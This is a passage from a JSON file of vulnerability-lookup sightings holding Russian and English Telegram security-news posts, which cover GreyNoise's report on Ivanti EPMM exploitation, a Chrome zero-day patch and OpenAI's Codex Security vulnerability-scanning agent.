\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 EPMM, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441\u00a0CVE-2026-1340,\u00a0\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f RCE.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 Ivanti \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day.\n\n\u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0440\u044f\u0434 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u0443\u043a\u0442\u0443\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 (AP), \u0421\u0443\u0434\u0435\u0431\u043d\u044b\u0439 \u0441\u043e\u0432\u0435\u0442, \u0415\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u044e \u0438 \u0444\u0438\u043d\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Valtori, \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u0445\u043e\u0441\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432: CVE-2026-21962\u00a0(Oracle WebLogic) - 2902 \u0441\u0435\u0441\u0441\u0438\u0438; CVE-2026-24061\u00a0(GNU InetUtils telnetd) - 497 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u0438 CVE-2025-24799\u00a0(GLPI) - 200 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\nIP \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 300 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438 Chrome, Firefox, Safari \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u041e\u0421. \n\n\u041a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 GreyNoise, \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043d\u0435\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u041f\u041e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, PROSPERO \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Proton66, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0434\u043b\u044f \u041f\u041a \u0438 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GootLoader, Matanbuchus, SpyNote, Coper (Octo) \u0438 SocGholish.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 85% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 DNS \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \"\u0446\u0435\u043b\u044c \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438\", \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0440\u0430\u043d\u0435\u0435 Defused Cyber \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u00ab\u0441\u043f\u044f\u0449\u0435\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438\u00bb, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b EPMM \u043f\u043e \u043f\u0443\u0442\u0438 /mifs/403.jsp \u0431\u044b\u043b \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a\u043b\u0430\u0441\u0441\u043e\u0432 Java \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b OAST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438\u0437\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0446\u0435\u043b\u0435\u0439, \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Ivanti EPMM \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b MDM, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b DNS \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 OAST, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044c /mifs/403.jsp \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 EPMM \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 PROSPERO (AS200593) \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430 \u0441\u0435\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Ivanti \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u00ab\u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u0435\u00bb IOCs, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 NCSC-NL \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435. \u0418, \u0435\u0449\u0435 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0440\u0447 \u0441 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u043c \u043e\u0442\u0442\u0435\u043d\u043a\u043e\u043c.", "creation_timestamp": "2026-02-13T12:00:09.000000Z"}, {"uuid": "fd1f189a-bfc5-4f0c-bcb6-3dfcb2384584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/cibsecurity/88528", "content": "\ud83d\udd8b\ufe0f New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released \ud83d\udd8b\ufe0f\n\nGoogle on Friday released security updates for its Chrome browser to address a security flaw that it said has been exploited in the wild. The highseverity vulnerability, tracked as CVE20262441 CVSS score 8.8, has been described as a useafterfree bug in CSS. Security researcher Shaheen Fazim has been credited with discovering and reporting the shortcoming on February 11, 2026. \"Use after.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-02-17T05:28:41.000000Z"}, {"uuid": "48829d5a-acdb-4b8c-b4f7-57539f92d1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://t.me/true_secator/7979", "content": "OpenAI \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e Codex Security\u00a0- \u0430\u0433\u0435\u043d\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u043f\u043e\u0438\u0441\u043a, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438.\n\n\u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 ChatGPT Pro, Enterprise, Business \u0438 Edu \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 Codex \u0441 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430.\n\nCodex Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e Aardvark, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 OpenAI \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044e \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30 \u0434\u043d\u0435\u0439 \u0432 \u0445\u043e\u0434\u0435 \u0431\u0435\u0442\u0430-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Codex Security \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u043e\u043b\u0435\u0435 1,2 \u043c\u043b\u043d. \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432 \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u0438\u0432 792 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 10 561 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f OpenSSH, GnuTLS, GOGS, Thorium, libssh, PHP \u0438 Chromium, \u0438 \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0440.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0437 \u043d\u0438\u0445: GnuPG (CVE-2026-24881, CVE-2026-24882), GnuTLS (CVE-2025-32988, CVE-2025-32989), GOGS (CVE-2025-64175, CVE-2026-25242) \u0438 Thorium\u00a0(CVE-2025-35430 - CVE-2025-35436)\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c OpenAI, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0430\u0433\u0435\u043d\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0435\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438, \u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0438\u0445 \u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439, \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u044f \u0440\u0438\u0441\u043a\u0438 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 OpenAI \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0447\u0430\u0441\u0442\u043e\u0442\u044b \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439, \u043f\u0440\u0438\u0447\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u043b\u0430\u0441\u044c \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50% \u0432\u043e \u0432\u0441\u0435\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\n\nOpenAI \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e Codex Security \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u0441\u0447\u0435\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.\u00a0\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u0433\u0435\u043d\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0440\u0438 \u044d\u0442\u0430\u043f\u0430: \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u0433\u0440\u043e\u0437, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u043c\u0435\u0441\u0442\u0430 \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u043c\u0438 \u0430\u0441\u043f\u0435\u043a\u0442\u0430\u043c\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 Codex Security \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0435\u0433\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 